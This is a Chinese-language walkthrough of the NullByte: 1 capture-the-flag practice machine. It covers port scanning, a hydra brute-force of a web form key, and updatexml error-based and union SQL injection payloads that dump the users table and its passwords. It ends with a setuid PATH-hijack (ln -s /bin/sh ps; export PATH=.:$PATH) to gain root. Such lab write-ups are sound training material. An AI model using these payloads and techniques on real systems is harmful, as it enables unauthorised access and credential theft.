一、靶机搭建
选择扫描虚拟机
选择路径即可
二、信息收集
官方信息
Name: NullByte: 1
发布日期: 2015 年 8 月 1 日
作者: ly0n
目标:访问/root/proof.txt并按照说明操作。
级别:基础到中级。
提示:运用你的横向思维能力,也许你需要写一些代码。
扫ip
靶机ip:192.168.108.157
扫开放服务和端口
开放了80,111,777端口
指纹探测
nmap 192.168.108.157 -p 80,111,777 -sV -sC -O --version-all
可以发现以下信息,这里注意一下777端口是使用的ssh协议,可能是22端口替换为了777端口
看一下这两个端口的作用
目录扫描
dirsearch扫描
dirb扫描
信息如下
http://192.168.108.157/uploads
http://192.168.108.157/phpmyadmin
http://192.168.108.157/phpmyadmin/index.php
http://192.168.108.157/phpmyadmin/phpinfo.php
三、Web渗透测试
信息收集
只有80端口可以访问,111端口和777端口无法访问
访问uploads目录
访问phpmyadmin
登录抓包查看
没有什么头绪,下载初始界面的图片查看一下
发现一处提示,kzMb5nVYJw,这里无非就是加密的账户密码/路径
作为目录访问一下,成功
在源码发现一处提示,应该是弱口令
抓包发现参数
利用hydra爆破密码,这里用户名随意选择即可,爆破的目标是密码
hydra 192.168.108.157 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l admin -P /usr/share/wordlists/rockyou.txt
拿到密码elite
进去之后是如下界面
随意输入发现回显成功
SQL注入
先抓包看看,有传参点
先fuzz一下,存在sql注入
可以判断是字符型注入,而且要么是下面的回显,要么报错,说明是bool注入
注释用**--+**成功
order by判断列数,说明有3列
报错注入
这里使用报错注入,发现可行,数据库:seth
后续代码
updatexml(1,concat(0x7e,(database()),0x7e),1) #查看当前库,0x7e是’~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='seth' limit 0,1),0x7e),1) #查看seth库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) #查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select pass from users limit 0,1),0x7e),1) #查看users表下面的pass字段
查看第一张表,只有该表可以查看
查到第一个字段:id
查到第二个字段user
查到第三个字段pass
查到第四个字段position
查询user字段只查到了两个用户名,ramses isis
查看pass字段,第一个用户名的密码:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM
第2个查不出来
利用该账户密码登录登录不上,而且解码格式也不对,可能有问题
union注入
重新试试注入方式,这里不输入字符查看一下,发现可以回显
这里查到了几个数据库名
这里就不多查看了,可以看上面的报错注入
直接查看数据,拿到密码YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
解密一下,得到密码omega
ssh登录
登录mysql,失败
这里发现22端口找不到,用之前的777端口
成功登录
四、提取
信息收集
先找找信息
查看历史命令,发现有个eric用户
先进入根目录查看
查看文件
拿到数据库账户密码,root sunnvvale
但是登录数据库无效,查看备份文件,这个文件有s权限,可以看到其所有者是root
当一个可执行文件设置了setuid位时,任何用户执行该文件时,程序将以文件所有者的权限运行,而不是执行者的权限
procwatch文件是一个二进制文件,运行一下,还执行了ps查看进程命令和sh命令
二进制文件提取
首先建立软连接
ln -s /bin/sh ps
这样在执行的时候会执行ps命令然后调用shell权限
修改环境变量将当前**目录.**追加到环境变量的最开始
export PATH=.:$PATH
然后执行文件即可拿到权限
成功发现目标文件
原文始发于微信公众号(泷羽Sec-track):【OSCP】NullByte靶机渗透-sql注入-权限利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论